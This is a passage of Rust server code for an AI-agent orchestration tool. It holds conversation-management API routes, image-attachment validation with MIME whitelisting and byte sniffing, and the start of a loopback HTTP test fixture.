7053    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7054        let talks = ui.talks.clone();
7055        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7056    }
7057    Ok(Json(view))
7058}
7059
7060/// The body of `POST /api/talks/{id}/agent`.
7061#[derive(Debug, Deserialize)]
7062struct TalkAgent {
7063    agent: String,
7064}
7065
7066/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7067/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7068/// start a turn on the old session between the check and the write; one that
7069/// arrives in that window finds the talk busy and becomes a draft.
7070async fn talk_agent(
7071    State(ui): State<Arc<Ui>>,
7072    Path(id): Path<String>,
7073    Json(body): Json<TalkAgent>,
7074) -> ApiResult<Json<TalkView>> {
7075    let id = {
7076        let ui = Arc::clone(&ui);
7077        blocking(move || resolve_talk(&ui.talks, &id)).await?
7078    };
7079    let repo = {
7080        let ui = Arc::clone(&ui);
7081        let id = id.clone();
7082        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7083    };
7084    let cfg = config_for(&repo).await?;
7085    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7086        return Err(ApiError::conflict(
7087            "a talk turn is running; change the agent once it has answered",
7088        ));
7089    };
7090    let switched = {
7091        let ui = Arc::clone(&ui);
7092        let id = id.clone();
7093        let cfg = cfg.clone();
7094        blocking(move || {
7095            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7096                .map_err(ApiError::bad_request_from)?;
7097            let mut talk = ui.talks.get(&id)?;
7098            if !talk.status.open() {
7099                return Err(ApiError::conflict(format!(
7100                    "talk {} is {} and takes no more turns",
7101                    talk.short(),
7102                    talk.status.as_str()
7103                )));
7104            }
7105            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7106            Ok(talk)
7107        })
7108        .await
7109    };
7110    // A `/say` that landed while this held the claim saw the talk busy and
7111    // left a durable draft, trusting the claim's owner to drain it. So the
7112    // claim goes to `drain_loop` whatever the outcome - it releases at once
7113    // when nothing is queued - rather than being dropped here.
7114    let fresh = {
7115        let ui = Arc::clone(&ui);
7116        let id = id.clone();
7117        blocking(move || Ok(ui.talks.get(&id)?)).await
7118    };
7119    let draining = match fresh {
7120        Ok(talk) => {
7121            let draining = talk.status.open()
7122                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7123            let talks = ui.talks.clone();
7124            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7125            draining
7126        }
7127        Err(_) => false,
7128    };
7129    let talk = switched?;
7130    Ok(Json(TalkView::new(talk, draining)))
7131}
7132
7133/// The body of `POST /api/talks/{id}/persona`.
7134#[derive(Debug, Deserialize)]
7135struct TalkPersona {
7136    persona: String,
7137}
7138
7139/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7140/// like [`talk_agent`]: the turn guard is held for the change and always handed
7141/// to `drain_loop`, so a draft left meanwhile is not stranded.
7142async fn talk_persona(
7143    State(ui): State<Arc<Ui>>,
7144    Path(id): Path<String>,
7145    Json(body): Json<TalkPersona>,
7146) -> ApiResult<Json<TalkView>> {
7147    let id = {
7148        let ui = Arc::clone(&ui);
7149        blocking(move || resolve_talk(&ui.talks, &id)).await?
7150    };
7151    let repo = {
7152        let ui = Arc::clone(&ui);
7153        let id = id.clone();
7154        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7155    };
7156    let cfg = config_for(&repo).await?;
7157    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7158        return Err(ApiError::conflict(
7159            "a talk turn is running; change the persona once it has answered",
7160        ));
7161    };
7162    let switched = {
7163        let ui = Arc::clone(&ui);
7164        let id = id.clone();
7165        let cfg = cfg.clone();
7166        blocking(move || {
7167            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7168                return Err(ApiError::bad_request(format!(
7169                    "unknown persona `{}`",
7170                    body.persona
7171                )));
7172            };
7173            let mut talk = ui.talks.get(&id)?;
7174            if !talk.status.open() {
7175                return Err(ApiError::conflict(format!(
7176                    "talk {} is {} and takes no more turns",
7177                    talk.short(),
7178                    talk.status.as_str()
7179                )));
7180            }
7181            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7182            Ok(talk)
7183        })
7184        .await
7185    };
7186    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7187    let fresh = {
7188        let ui = Arc::clone(&ui);
7189        let id = id.clone();
7190        blocking(move || Ok(ui.talks.get(&id)?)).await
7191    };
7192    let draining = match fresh {
7193        Ok(talk) => {
7194            let draining = talk.status.open()
7195                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7196            let talks = ui.talks.clone();
7197            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7198            draining
7199        }
7200        Err(_) => false,
7201    };
7202    let talk = switched?;
7203    Ok(Json(TalkView::new(talk, draining)))
7204}
7205
7206/// The body of `POST /api/talks/{id}/implementers`.
7207#[derive(Debug, Deserialize)]
7208struct TalkImplementers {
7209    implementers: u8,
7210}
7211
7212/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7213/// like [`talk_agent`]: the turn guard is held for the change and always handed
7214/// to `drain_loop`, so a draft left meanwhile is not stranded.
7215async fn talk_implementers(
7216    State(ui): State<Arc<Ui>>,
7217    Path(id): Path<String>,
7218    Json(body): Json<TalkImplementers>,
7219) -> ApiResult<Json<TalkView>> {
7220    let id = {
7221        let ui = Arc::clone(&ui);
7222        blocking(move || resolve_talk(&ui.talks, &id)).await?
7223    };
7224    let repo = {
7225        let ui = Arc::clone(&ui);
7226        let id = id.clone();
7227        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7228    };
7229    let cfg = config_for(&repo).await?;
7230    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7231        return Err(ApiError::conflict(
7232            "a talk turn is running; change the implementers once it has answered",
7233        ));
7234    };
7235    let switched = {
7236        let ui = Arc::clone(&ui);
7237        let id = id.clone();
7238        let cfg = cfg.clone();
7239        blocking(move || {
7240            let chosen =
7241                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7242            let mut talk = ui.talks.get(&id)?;
7243            if !talk.status.open() {
7244                return Err(ApiError::conflict(format!(
7245                    "talk {} is {} and takes no more turns",
7246                    talk.short(),
7247                    talk.status.as_str()
7248                )));
7249            }
7250            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7251            Ok(talk)
7252        })
7253        .await
7254    };
7255    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7256    let fresh = {
7257        let ui = Arc::clone(&ui);
7258        let id = id.clone();
7259        blocking(move || Ok(ui.talks.get(&id)?)).await
7260    };
7261    let draining = match fresh {
7262        Ok(talk) => {
7263            let draining = talk.status.open()
7264                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7265            let talks = ui.talks.clone();
7266            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7267            draining
7268        }
7269        Err(_) => false,
7270    };
7271    let talk = switched?;
7272    Ok(Json(TalkView::new(talk, draining)))
7273}
7274
7275/// `POST /api/talks/{id}/close`.
7276async fn talk_close(
7277    State(ui): State<Arc<Ui>>,
7278    Path(id): Path<String>,
7279) -> ApiResult<Json<TalkView>> {
7280    blocking(move || {
7281        let id = resolve_talk(&ui.talks, &id)?;
7282        let mut talk = ui.talks.get(&id)?;
7283        talk::close(&mut talk, &ui.talks)?;
7284        let thinking = ui.is_thinking(&talk.id);
7285        Ok(Json(TalkView::new(talk, thinking)))
7286    })
7287    .await
7288}
7289
7290/// `POST /api/talks/{id}/reopen`.
7291async fn talk_reopen(
7292    State(ui): State<Arc<Ui>>,
7293    Path(id): Path<String>,
7294) -> ApiResult<Json<TalkView>> {
7295    blocking(move || {
7296        let id = resolve_talk(&ui.talks, &id)?;
7297        let mut talk = ui.talks.get(&id)?;
7298        talk::reopen(&mut talk, &ui.talks)?;
7299        let thinking = ui.is_thinking(&talk.id);
7300        Ok(Json(TalkView::new(talk, thinking)))
7301    })
7302    .await
7303}
7304
7305/// `DELETE /api/talks/{id}`.
7306///
7307/// Removes the conversation's record and artifacts outright, unlike
7308/// [`talk_close`] which keeps the record as history. A turn already in
7309/// flight is not refused here the way [`run_delete`] refuses a live run:
7310/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7311/// under [`Talks::guard`], that the record they are about to write back is
7312/// still there, so a delete racing a turn is safe without this route having
7313/// to know a turn is running at all.
7314async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7315    blocking(move || {
7316        let id = resolve_talk(&ui.talks, &id)?;
7317        ui.talks.remove(&id)?;
7318        Ok(StatusCode::NO_CONTENT)
7319    })
7320    .await
7321}
7322
7323/// Expand an id or short id to exactly one talk id.
7324fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7325    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7326}
7327
7328/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7329/// future `talk-say`.
7330async fn talk_attachment_post(
7331    State(ui): State<Arc<Ui>>,
7332    Path(id): Path<String>,
7333    headers: HeaderMap,
7334    body: Bytes,
7335) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7336    let mime = validate_attachment(&headers, &body)?;
7337    let name = filename_header(&headers);
7338    let data = body.to_vec();
7339    blocking(move || {
7340        let id = resolve_talk(&ui.talks, &id)?;
7341        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7342        Ok((StatusCode::CREATED, Json(att)))
7343    })
7344    .await
7345}
7346
7347/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7348/// `<img>` tag in the transcript.
7349async fn talk_attachment_get(
7350    State(ui): State<Arc<Ui>>,
7351    Path((id, att)): Path<(String, String)>,
7352) -> ApiResult<Response> {
7353    blocking(move || {
7354        let id = resolve_talk(&ui.talks, &id)?;
7355        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7356            return Err(ApiError::not_found(format!(
7357                "talk {id} has no attachment `{att}`"
7358            )));
7359        };
7360        Ok(attachment_response(&meta.mime, data))
7361    })
7362    .await
7363}
7364
7365/// Validate an attachment upload's declared `Content-Type` and the bytes
7366/// themselves, returning the canonical mime on success.
7367///
7368/// Two checks, both required: the header has to name one of
7369/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7370/// simply never in the list, active content rather than a picture, the same
7371/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7372/// magic number has to agree. The second is what stops a mislabeled upload -
7373/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7374/// a declared type is a claim, not a fact, so it is never trusted alone.
7375fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7376    if data.len() > ATTACHMENT_MAX_BYTES {
7377        return Err(ApiError::bad_request(format!(
7378            "attachment is {} bytes, over the {} MiB limit",
7379            data.len(),
7380            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7381        ))
7382        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7383    }
7384    if data.is_empty() {
7385        return Err(ApiError::bad_request("attachment is empty"));
7386    }
7387    let declared = declared_mime(headers)?;
7388    match sniffed_mime(data) {
7389        Some(sniffed) if sniffed == declared => Ok(declared),
7390        Some(sniffed) => Err(ApiError::bad_request(format!(
7391            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7392        ))),
7393        None => Err(ApiError::bad_request(
7394            "the file's bytes do not match any accepted image format",
7395        )),
7396    }
7397}
7398
7399/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7400/// and nothing else - parameters like `; charset=` are stripped, but the
7401/// value itself is not otherwise interpreted.
7402fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7403    let raw = headers
7404        .get(header::CONTENT_TYPE)
7405        .and_then(|v| v.to_str().ok())
7406        .unwrap_or("")
7407        .split(';')
7408        .next()
7409        .unwrap_or("")
7410        .trim()
7411        .to_ascii_lowercase();
7412    ATTACHMENT_MIME_WHITELIST
7413        .iter()
7414        .find(|&&m| m == raw)
7415        .copied()
7416        .ok_or_else(|| {
7417            if raw == "image/svg+xml" {
7418                ApiError::bad_request(
7419                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7420                     not just a picture",
7421                )
7422            } else if raw.is_empty() {
7423                ApiError::bad_request("Content-Type is required for an attachment upload")
7424            } else {
7425                ApiError::bad_request(format!(
7426                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7427                     image/gif or image/webp"
7428                ))
7429            }
7430        })
7431}
7432
7433/// Identify an image by its magic number, independent of whatever
7434/// `Content-Type` claimed.
7435fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7436    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7437        Some("image/png")
7438    } else if data.starts_with(b"\xff\xd8\xff") {
7439        Some("image/jpeg")
7440    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7441        Some("image/gif")
7442    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7443        Some("image/webp")
7444    } else {
7445        None
7446    }
7447}
7448
7449/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7450/// display - see [`talk::Attachment::name`]'s doc on why it never
7451/// contributes to a path. A missing or blank header (curl without it, an
7452/// older front end) falls back to a generic name rather than refusing the
7453/// upload over a field that is cosmetic.
7454fn filename_header(headers: &HeaderMap) -> String {
7455    headers
7456        .get(FILENAME_HEADER)
7457        .and_then(|v| v.to_str().ok())
7458        .map(str::trim)
7459        .filter(|s| !s.is_empty())
7460        .unwrap_or("attachment")
7461        .to_owned()
7462}
7463
7464/// Every attachment `GET` response: the mime re-validated against the same
7465/// closed whitelist the upload route enforces - never the string trusted
7466/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7467/// cannot decide it knows better than the type we send. Unlike a panel asset
7468/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7469/// document renders inline, not agent-authored HTML in a sandboxed frame.
7470fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7471    let content_type = ATTACHMENT_MIME_WHITELIST
7472        .iter()
7473        .find(|&&m| m == mime)
7474        .copied()
7475        .unwrap_or("application/octet-stream");
7476    (
7477        [
7478            (header::CONTENT_TYPE, content_type),
7479            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7480        ],
7481        body,
7482    )
7483        .into_response()
7484}
7485
7486/// The configuration for a repository, read off the disk for this request.
7487///
7488/// Through [`blocking`] because discovery reads and merges several TOML files,
7489/// and because the alternative - caching it in [`Ui`] at startup - would mean
7490/// the operator's phone kept interviewing with a roster they had already
7491/// changed, with no way to reload it but restarting the server they are not
7492/// sitting in front of.
7493async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7494    let repo = repo.to_path_buf();
7495    blocking(move || {
7496        let (cfg, _) = Config::discover(&repo, None)?;
7497        Ok(cfg)
7498    })
7499    .await
7500}
7501
7502/// The one prefix rule, used for both runs and tasks: a leading match for a
7503/// full id, a trailing match for the short form an operator reads off a
7504/// report. Written here rather than borrowed from `queue::resolve_id` because
7505/// the UI needs the two failures as different status codes, and telling them
7506/// apart from an error message is not something to build a route on.
7507fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7508    let mut hits = ids
7509        .into_iter()
7510        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7511    match (hits.next(), hits.next()) {
7512        (Some(one), None) => Ok(one),
7513        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7514        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7515            "`{prefix}` matches more than one {what}, including {a} and {b}"
7516        ))),
7517    }
7518}
7519
7520#[cfg(test)]
7521mod tests {
7522
7523    #[test]
7524    fn holder_reads_the_lease_not_the_record() {
7525        let mut q = Question::new(
7526            "run".to_owned(),
7527            "implement".to_owned(),
7528            "impl-A".to_owned(),
7529            "which?".to_owned(),
7530            String::new(),
7531            Vec::new(),
7532        );
7533        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7534        q.cwd = Some("/tmp".to_owned());
7535        assert_eq!(holder_of(&q, None), Some("nobody"));
7536        let beat = |kind, ago: i64| ask::Lease {
7537            kind,
7538            pid: 1,
7539            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7540                .unwrap(),
7541        };
7542        let fresh = beat(ask::WaiterKind::Asker, 1);
7543        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7544        let daemon = beat(ask::WaiterKind::Daemon, 1);
7545        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7546        let stale = beat(ask::WaiterKind::Asker, 3600);
7547        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7548
7549        // A conductor question says "deputy" only while one is attached and
7550        // alive, and "nobody" - never silence - when nothing ever listened.
7551        let mut c = Question::new(
7552            "task".to_owned(),
7553            crate::conduct::NODE.to_owned(),
7554            "conduct".to_owned(),
7555            "which?".to_owned(),
7556            String::new(),
7557            Vec::new(),
7558        );
7559        assert_eq!(holder_of(&c, None), Some("nobody"));
7560        c.cwd = Some("/tmp".to_owned());
7561        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7562        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7563        let deputy = beat(ask::WaiterKind::Deputy, 1);
7564        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7565        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7566
7567        // A release-watch question: nobody until a deputy is attached.
7568        let mut r = Question::new(
7569            String::new(),
7570            crate::bump::NOTICE_NODE.to_owned(),
7571            "release-watch".to_owned(),
7572            "stuck?".to_owned(),
7573            String::new(),
7574            vec!["hold".to_owned()],
7575        );
7576        assert_eq!(holder_of(&r, None), Some("nobody"));
7577        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7578        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7579        // A choice-less bump notice is nobody's question at all.
7580        r.deputy = None;
7581        r.seat = "bump".to_owned();
7582        assert_eq!(holder_of(&r, None), None);
7583
7584        // A merge approval is the same: nobody until a deputy is attached
7585        // and alive, never a silent "no holder".
7586        let mut m = Question::new(
7587            "run".to_owned(),
7588            crate::land::APPROVAL_NODE.to_owned(),
7589            "land".to_owned(),
7590            "merge?".to_owned(),
7591            String::new(),
7592            Vec::new(),
7593        );
7594        assert_eq!(holder_of(&m, None), Some("nobody"));
7595        assert_eq!(
7596            holder_of(&m, Some(&fresh)),
7597            Some("nobody"),
7598            "a lease with no deputy is not a listener"
7599        );
7600        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7601        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7602        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7603        assert_eq!(holder_of(&m, None), Some("nobody"));
7604    }
7605
7606    fn stub_config() -> Config {
7607        // An explicit roster, so the result never depends on which agent CLIs
7608        // this machine has installed.
7609        Config {
7610            agents: vec![crate::config::AgentSpec {
7611                id: "stub".to_owned(),
7612                kind: AgentKind::Command,
7613                model: None,
7614                command: vec!["true".to_owned()],
7615                extra_args: Vec::new(),
7616                env: Default::default(),
7617                prompt_delivery: None,
7618            }],
7619            ..Config::default()
7620        }
7621    }
7622
7623    fn plain_question(seat: &str) -> Question {
7624        Question::new(
7625            String::new(),
7626            "n".to_owned(),
7627            seat.to_owned(),
7628            "s".to_owned(),
7629            String::new(),
7630            Vec::new(),
7631        )
7632    }
7633
7634    #[test]
7635    fn deputies_enabled_follows_the_config() {
7636        let on = stub_config();
7637        assert!(crate::deputy::can_start(Some(&on), ""));
7638        assert!(crate::deputy::can_start(Some(&on), "stub"));
7639        let mut off = on.clone();
7640        off.daemon.max_deputies = 0;
7641        assert!(!crate::deputy::can_start(Some(&off), ""));
7642        let mut empty = on;
7643        empty.agents.clear();
7644        assert!(!crate::deputy::can_start(Some(&empty), ""));
7645        assert!(!crate::deputy::can_start(None, ""));
7646    }
7647
7648    #[test]
7649    fn question_views_load_the_config_once() {
7650        let dir = TempDir::new().unwrap();
7651        let store = ask::Questions::at(dir.path().to_path_buf());
7652        let mut with_deputy = plain_question("b");
7653        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7654        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7655
7656        let calls = std::cell::Cell::new(0usize);
7657        let views = question_views(qs.clone(), &store, || {
7658            calls.set(calls.get() + 1);
7659            Some(stub_config())
7660        });
7661        assert_eq!(calls.get(), 1);
7662        assert_eq!(views.len(), 3);
7663        for (v, q) in views.iter().zip(&qs) {
7664            assert_eq!(
7665                v.deputies_enabled,
7666                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7667            );
7668        }
7669
7670        let views = question_views(qs, &store, || None);
7671        assert!(views.iter().all(|v| !v.deputies_enabled));
7672
7673        let calls = std::cell::Cell::new(0usize);
7674        let views = question_views(Vec::new(), &store, || {
7675            calls.set(calls.get() + 1);
7676            None
7677        });
7678        assert!(views.is_empty());
7679        assert_eq!(calls.get(), 0);
7680    }
7681
7682    use pretty_assertions::assert_eq;
7683    use serde_json::Value;
7684    use tempfile::TempDir;
7685    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7686
7687    use super::*;
7688    use crate::config::Config;
7689    use crate::queue::Source;
7690
7691    /// How many 10ms steps a settle loop takes before it calls a stall a
7692    /// stall - thirty seconds.
7693    ///
7694    /// These loops wait on real `sh` subprocesses, and the machine that runs
7695    /// the gate runs several suites at once, so a two-second budget was not
7696    /// waiting for the reply, it was racing the scheduler: two of these
7697    /// tests failed under that load with the turn simply not landed yet.
7698    /// This is a hang guard, not a latency assertion - every loop breaks the
7699    /// moment its condition holds, so a generous cap costs an idle machine
7700    /// nothing and still fails a genuine hang instead of hanging the suite.
7701    const SETTLE_STEPS: usize = 3_000;
7702
7703    /// A home with a queue and a runs directory, and a router serving it on
7704    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7705    /// dependency, not ours - so the tests drive a real socket, which has the
7706    /// side benefit of asserting the status line and content types the phone
7707    /// actually receives.
7708    struct Fixture {
7709        home: TempDir,
7710        addr: SocketAddr,
7711    }
7712
7713    impl Fixture {
7714        async fn start() -> Self {
7715            Self::with_loop(launch_idle).await
7716        }
7717
7718        /// A fixture whose loop is `launch`.
7719        async fn with_loop(launch: Launch) -> Self {
7720            let home = TempDir::new().expect("temp home");
7721            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7722            Self { home, addr }
7723        }
7724
7725        /// A fixture whose `ui.repo` is a real directory rather than the
7726        /// usual placeholder - for the routes that read config off it
7727        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7728        async fn with_repo(repo: PathBuf) -> Self {
7729            let home = TempDir::new().expect("temp home");
7730            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7731            Self { home, addr }
7732        }
7733
7734        /// As [`Fixture::with_repo`], with the machine-config file the
7735        /// settings screen reads and writes.
7736        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7737            let home = TempDir::new().expect("temp home");
7738            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7739            Self { home, addr }
7740        }
7741
7742        async fn serve(
7743            home: &FsPath,
7744            repo: PathBuf,
7745            launch: Launch,
7746            machine: Option<PathBuf>,
7747        ) -> SocketAddr {
7748            let queue = Queue::at(home.join("queue"));
7749            let runs = home.join("runs");
7750            std::fs::create_dir_all(&runs).expect("runs dir");
7751            let worktrees = home.join("wt").join("magi");
7752            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7753            let ui = Ui::new(
7754                queue,
7755                Questions::at(home.join("questions")),
7756                Talks::at(home.join("talks")),
7757                runs,
7758                home.to_path_buf(),
7759                repo,
7760            )
7761            .with_worktrees_root(worktrees)
7762            .with_machine_config(machine)
7763            .with_launch(launch);
7764            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7765                .await
7766                .expect("bind loopback");
7767            let addr = listener.local_addr().expect("local addr");
7768            tokio::spawn(async move {
7769                let _ = axum::serve(listener, ui.router()).await;
7770            });
7771            addr
7772        }
7773
7774        fn queue(&self) -> Queue {
7775            Queue::at(self.home.path().join("queue"))
7776        }
7777
7778        fn questions(&self) -> Questions {
7779            Questions::at(self.home.path().join("questions"))
7780        }
7781
7782        fn talks(&self) -> Talks {
7783            Talks::at(self.home.path().join("talks"))
7784        }
7785
7786        fn runs(&self) -> PathBuf {
7787            self.home.path().join("runs")
7788        }
7789
7790        async fn get(&self, path: &str) -> Res {
7791            request(self.addr, "GET", path, None).await
7792        }
7793
7794        /// The status and headers without the body, which is how the front end
7795        /// preflights a panel: a sandboxed frame is opaque to the parent
7796        /// document, so the only way to tell "no panel" from "a panel that
7797        /// rendered blank" is to ask before mounting.
7798        async fn head(&self, path: &str) -> Res {
7799            request(self.addr, "HEAD", path, None).await
7800        }
7801
7802        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7803            request(self.addr, "POST", path, body).await
7804        }
7805
7806        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7807            request_with(self.addr, "GET", path, None, extra).await
7808        }
7809
7810        async fn delete(&self, path: &str) -> Res {
7811            request(self.addr, "DELETE", path, None).await
7812        }
7813
7814        async fn put(&self, path: &str, body: &str) -> Res {
7815            request(self.addr, "PUT", path, Some(body)).await
7816        }
7817
7818        /// `POST` a raw body with its own headers - see [`request_bytes`].
7819        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7820            request_bytes(self.addr, path, headers, body).await
7821        }
7822    }
7823
7824    struct Res {
7825        status: u16,
7826        headers: String,
7827        /// The header block with its original casing, for the assertions that
7828        /// compare a header *value* rather than looking for a name. Lowercasing
7829        /// a CSP would hide a directive spelled with a capital letter, and the
7830        /// whole point of that test is that the string is exactly right.
7831        head: String,
7832        body: String,
7833        /// The body before any UTF-8 handling, for the routes that serve
7834        /// something other than text. A panel asset is a PNG as often as not,
7835        /// and `from_utf8_lossy` would silently replace half of it.
7836        bytes: Vec<u8>,
7837    }
7838
7839    impl Res {
7840        fn json(&self) -> Value {
7841            serde_json::from_str(&self.body)
7842                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7843        }
7844
7845        /// One header's value verbatim, or `None` when it was not sent.
7846        fn header(&self, name: &str) -> Option<&str> {
7847            self.head.lines().find_map(|line| {
7848                let (key, value) = line.split_once(':')?;
7849                key.trim()
7850                    .eq_ignore_ascii_case(name)
7851                    .then(|| value.trim_start().trim_end_matches('\r'))
7852            })
7853        }
7854    }
7855
7856    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7857    /// be read to end-of-stream without parsing framing.
7858    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7859        request_with(addr, method, path, body, &[]).await
7860    }
7861
7862    /// As [`request`], with extra request headers - conditional GETs need
7863    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7864    /// worse than one that sets none.
7865    async fn request_with(
7866        addr: SocketAddr,
7867        method: &str,
7868        path: &str,
7869        body: Option<&str>,
7870        extra: &[(&str, &str)],
7871    ) -> Res {
7872        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7873        for (name, value) in extra {
7874            head.push_str(&format!("{name}: {value}\r\n"));
7875        }
7876        if let Some(body) = body {
7877            head.push_str("Content-Type: application/json\r\n");
7878            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7879        }
7880        head.push_str("\r\n");
7881        if let Some(body) = body {
7882            head.push_str(body);
7883        }
7884        let mut socket = tokio::net::TcpStream::connect(addr)
7885            .await
7886            .expect("connect to the test server");
7887        socket
7888            .write_all(head.as_bytes())
7889            .await
7890            .expect("write request");
7891        let mut raw = Vec::new();
7892        socket.read_to_end(&mut raw).await.expect("read response");
7893        // Split on the raw bytes rather than on a lossy string, so a binary
7894        // body survives to be compared byte for byte.
7895        let split = raw
7896            .windows(4)
7897            .position(|w| w == b"\r\n\r\n")
7898            .expect("a header block");
7899        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7900        let bytes = raw[split + 4..].to_vec();
7901        let status = head
7902            .lines()
7903            .next()
7904            .and_then(|line| line.split_whitespace().nth(1))
7905            .and_then(|code| code.parse().ok())
7906            .expect("a status line");
7907        Res {
7908            status,
7909            headers: head.to_lowercase(),
7910            head,
7911            body: String::from_utf8_lossy(&bytes).into_owned(),
7912            bytes,
7913        }
7914    }
7915
7916    /// A `POST` carrying a raw binary body and its own headers, for the
7917    /// attachment upload route - `request_with` only ever sends
7918    /// `Content-Type: application/json`, which is wrong for an image and
7919    /// would corrupt anything not valid UTF-8 by round-tripping it through
7920    /// `&str` first.
7921    async fn request_bytes(
7922        addr: SocketAddr,
7923        path: &str,
7924        headers: &[(&str, &str)],
7925        body: &[u8],
7926    ) -> Res {
7927        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7928        for (name, value) in headers {
7929            head.push_str(&format!("{name}: {value}\r\n"));
7930        }
7931        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7932        let mut socket = tokio::net::TcpStream::connect(addr)
7933            .await
7934            .expect("connect to the test server");
7935        socket
7936            .write_all(head.as_bytes())
7937            .await
7938            .expect("write request head");
7939        socket.write_all(body).await.expect("write request body");
7940        let mut raw = Vec::new();
7941        socket.read_to_end(&mut raw).await.expect("read response");
7942        let split = raw
7943            .windows(4)
7944            .position(|w| w == b"\r\n\r\n")
